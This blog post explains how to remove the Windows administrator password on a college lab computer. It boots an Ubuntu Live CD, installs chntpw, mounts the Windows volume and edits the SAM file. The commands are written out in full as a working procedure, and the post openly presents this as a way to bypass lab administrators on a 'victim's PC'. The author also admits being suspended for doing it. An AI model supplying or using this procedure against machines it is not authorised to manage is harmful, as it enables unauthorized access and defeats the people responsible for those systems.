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Hacking Windows admin password with Linux

Most of times specially in our college we don’t have the access to the admin account, and whenever we need admin privileges we have to ask Lab assistant and that’s the only part of the Lab that i never loved when i was student. Now suppose you want to install a software on that system. What you will do now? Ask the admin to enter the password for you or simply hack it by yourself. I will tell you frankly that i have never opted cheap practices in my life. Whenever i need administrator right i have hacked it but guys don’t do it like that ways because i got suspended from lab twice for doing that. 

Hacking Windows admin password with Linux
Learn how to reset or Hack admin password

Today i will explain you how to reset the password using the Ubuntu Live CD or DVD. This technique involves just 5 basic steps to hack the windows admin password. Using this technique you have hack Windows XP admin password, Windows Vista admin password, Windows 7 administrator account. In simple words are windows OS admin account password just in few commands.
For a hacker OS is a boon and hackers must know how to use Linux. Just only don’t know they must be expertize in that as Linux is open source and so you can easily observe how things are really happening which really helps in developing new tricks and hacks. So friends, if you wish to be a professional hacker, Please Learn Linux.

Resetting windows password using Ubuntu Live CD or DVD

For this hack you will require the Ubuntu Live CD and CD or DVD drive in the victim’s PC whom admin or administrator account you want to hack.

Steps to Hack or reset the Windows administrator password:

  1. Insert Ubuntu Live CD and boot from it.
  2. Open terminal and install chntpw in Ubuntu. To do so use the following commands.
    sudo apt-get update
    sudo apt-get install chntpw

  3. Now mount your Windows volume. In my case it was dev/sda1. Replace it with yours.
    sudo mkdir /media/WINDOWS
    sudo mount /dev/sda1 /media/WINDOWS

  4. Now navigate to the Windows configuration folder.
    cd /media/WINDOWS/WINDOWS/system32/config/

  5. To reset the administrator password enter
    sudo chntpw SAM

  6. After completing this command you will see 5 different choices. Select the 1st one and press Enter and its done. 
  7. Now restart your system, it will not ask any password. 

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About Lokesh Singh

Hello Friends, i am Lokesh Singh, certified Ethical hacker ( CEH, SSA, CSIF , CISSP). Have 8+ years of extensive experience in Ethical Hacking, Cyber Security and Penetration Testing domain.

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